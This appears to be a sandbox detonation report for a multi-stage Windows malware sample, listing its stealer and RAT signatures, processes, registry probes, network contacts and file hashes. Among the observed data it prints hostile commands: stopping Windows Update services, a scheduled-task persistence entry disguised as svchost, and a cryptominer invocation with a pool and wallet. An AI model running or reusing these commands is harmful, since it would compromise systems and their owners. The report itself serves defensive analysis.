| SHA256 | 2449fe334bbf8f09ff80422578a6c6961d20a0a456b214f6490c5ed1ae859c9e |
| SHA512 | 3b013378a51a29652ff84f61050b344f504ef51a51944d469b1d0e629e4abad979416a56b9cffb6cfe20b80dfbebffec35dce6f5dc10b02907dee538f9f17a01 |
memory/3676-6164-0x0000021F2C8C0000-0x0000021F2C90C000-memory.dmp
memory/3676-6163-0x0000021F2C820000-0x0000021F2C876000-memory.dmp
memory/6060-6168-0x000000001D100000-0x000000001D150000-memory.dmp
memory/6060-6169-0x000000001D210000-0x000000001D2C2000-memory.dmp
memory/6060-6175-0x000000001D190000-0x000000001D1CC000-memory.dmp
memory/6060-6174-0x000000001B9C0000-0x000000001B9D2000-memory.dmp
memory/6560-6207-0x0000000000FA0000-0x000000000144E000-memory.dmp
memory/6560-6209-0x0000000000FA0000-0x000000000144E000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-31 00:35
Reported
2024-07-31 00:38
Platform
win11-20240730-en
Max time kernel
150s
Max time network
152s
Command Line
Signatures
Amadey
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Stealc
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1032 created 3336 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe | C:\Windows\Explorer.EXE |
| PID 1032 created 3336 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe | C:\Windows\Explorer.EXE |
| PID 1032 created 3336 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe | C:\Windows\Explorer.EXE |
Credentials from Password Stores: Credentials from Web Browsers
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Downloads MZ/PE file
Stops running service(s)
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe | C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe | C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe | N/A |
Executes dropped EXE
Identifies Wine through registry keys
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2803179037-308240136-4183858629-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2803179037-308240136-4183858629-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2803179037-308240136-4183858629-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2803179037-308240136-4183858629-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2803179037-308240136-4183858629-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Loads dropped DLL
Reads WinSCP keys stored on the system
Reads data files stored by FTP clients
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Checks installed software on the system
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ipinfo.io | N/A | N/A |
| N/A | ipinfo.io | N/A | N/A |
Power Settings
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\System32\powercfg.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1032 set thread context of 3796 | N/A | C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 3052 set thread context of 1544 | N/A | C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 3276 set thread context of 2604 | N/A | C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 5240 set thread context of 5324 | N/A | C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
| PID 1032 set thread context of 5628 | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe | C:\Windows\System32\conhost.exe |
| PID 6812 set thread context of 6712 | N/A | C:\Users\Admin\AppData\Local\Temp\pureee.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\Tasks\axplong.job | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
Browser Information Discovery
Detects Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\0sgaoB9uN2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\dropperrr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\wbRmKJp4u0.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe | N/A |
Modifies system certificate store
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe
"C:\Users\Admin\AppData\Local\Temp\6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227.exe"
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
"C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"
C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
"C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
"C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Users\Admin\AppData\Roaming\wbRmKJp4u0.exe
"C:\Users\Admin\AppData\Roaming\wbRmKJp4u0.exe"
C:\Users\Admin\AppData\Roaming\0sgaoB9uN2.exe
"C:\Users\Admin\AppData\Roaming\0sgaoB9uN2.exe"
C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe"
C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4912 -ip 4912
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 392
C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"
C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"
C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"
C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe
"C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe
C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe
C:\Users\Admin\AppData\Local\Temp\_MEI86962\Blsvr.exe
C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe
"C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe"
C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe
"C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe"
C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe
"C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe"
C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe
"C:\Users\Admin\AppData\Local\Temp\1000056001\deepweb.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Users\Admin\AppData\Local\Temp\pureee.exe
"C:\Users\Admin\AppData\Local\Temp\pureee.exe"
C:\Users\Admin\AppData\Local\Temp\adada.exe
"C:\Users\Admin\AppData\Local\Temp\adada.exe"
C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe
"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
Network
| Country | Destination | Domain | Proto |
| RU | 185.215.113.16:80 | 185.215.113.16 | tcp |
| US | 8.8.8.8:53 | 16.113.215.185.in-addr.arpa | udp |
| DE | 20.52.165.210:39030 | tcp | |
| RU | 85.28.47.70:80 | 85.28.47.70 | tcp |
| VN | 103.28.36.182:443 | coe.com.vn | tcp |
| US | 8.8.8.8:53 | 70.47.28.85.in-addr.arpa | udp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 109.120.137.52:80 | 109.120.137.52 | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| US | 34.117.59.81:443 | ipinfo.io | tcp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| RU | 185.215.113.9:9137 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| US | 52.111.229.48:443 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.225.219.163:80 | 91.225.219.163 | tcp |
| NL | 91.92.240.111:80 | 91.92.240.111 | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.92.240.111:1334 | 91.92.240.111 | tcp |
| FR | 141.94.96.71:3333 | pool.supportxmr.com | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| US | 104.26.13.31:443 | api.ip.sb | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.92.240.111:80 | 91.92.240.111 | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| CH | 185.196.9.187:80 | 185.196.9.187 | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| NL | 91.92.240.111:39001 | tcp | |
| CA | 51.222.21.20:4782 | tcp | |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| NL | 91.92.240.111:80 | 91.92.240.111 | tcp |
| US | 172.67.177.136:443 | vaniloin.fun | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| GB | 161.35.34.195:3333 | rx.unmineable.com | tcp |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp | |
| RU | 185.215.113.67:40960 | tcp |
Files
memory/8-0-0x0000000000510000-0x00000000009BE000-memory.dmp
memory/8-1-0x0000000077066000-0x0000000077068000-memory.dmp
memory/8-2-0x0000000000511000-0x000000000053F000-memory.dmp
memory/8-3-0x0000000000510000-0x00000000009BE000-memory.dmp
memory/8-5-0x0000000000510000-0x00000000009BE000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
| MD5 | 248d72640b5697bedb167b6922f7d9ec |
| SHA1 | 232be32e0792a7308654b29f2001b4ece7c2dcbc |
| SHA256 | 6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227 |
| SHA512 | 002d4f34ac151a89a9e778ca2f80d69572af44ff8c936ca8c2b383706d07598729b1908ed5f49921dd9fca9c4f920d5c2660cb8da2ad0514097dc7ad6291d571 |
memory/1928-16-0x0000000000950000-0x0000000000DFE000-memory.dmp
memory/8-18-0x0000000000510000-0x00000000009BE000-memory.dmp
memory/1928-19-0x0000000000951000-0x000000000097F000-memory.dmp
memory/1928-20-0x0000000000950000-0x0000000000DFE000-memory.dmp
memory/1928-21-0x0000000000950000-0x0000000000DFE000-memory.dmp
memory/1928-22-0x0000000000950000-0x0000000000DFE000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
| MD5 | d3e3cfe96ef97f2f14c7f7245d8e2cae |
| SHA1 | 36a7efd386eb6e4eea7395cdeb21e4653050ec0c |
| SHA256 | 519ee8e7e8891d779ac3238b9cb815fa2188c89ec58ccf96d8c5f14d53d2494b |
| SHA512 | ee87bcf065f44ad081e0fb2ed5201fefe1f5934c4bbfc1e755214b300aa87e90158df012eec33562dc514111c553887ec9fd7420bfcf7069074a71c9fb6c0620 |
C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
| MD5 | 607c413d4698582cc147d0f0d8ce5ef1 |
| SHA1 | c422ff50804e4d4e55d372b266b2b9aa02d3cfdd |
| SHA256 | 46a8a9d9c639503a3c8c9654c18917a9cedbed9c93babd14ef14c1e25282c0d5 |
| SHA512 | d139f1b76b2fbc68447b03a5ca21065c21786245c8f94137c039d48c74996c10c46ca0bdd7a65cd9ccdc265b5c4ca952be9c2876ced2928c65924ef709678876 |
memory/1032-53-0x00000000007E0000-0x00000000007E1000-memory.dmp
memory/3796-54-0x0000000000400000-0x0000000000452000-memory.dmp
memory/3796-55-0x0000000005380000-0x0000000005926000-memory.dmp
memory/3796-56-0x0000000004E70000-0x0000000004F02000-memory.dmp
memory/3796-57-0x0000000005000000-0x000000000500A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\TmpD5CE.tmp
| MD5 | 1420d30f964eac2c85b2ccfe968eebce |
| SHA1 | bdf9a6876578a3e38079c4f8cf5d6c79687ad750 |
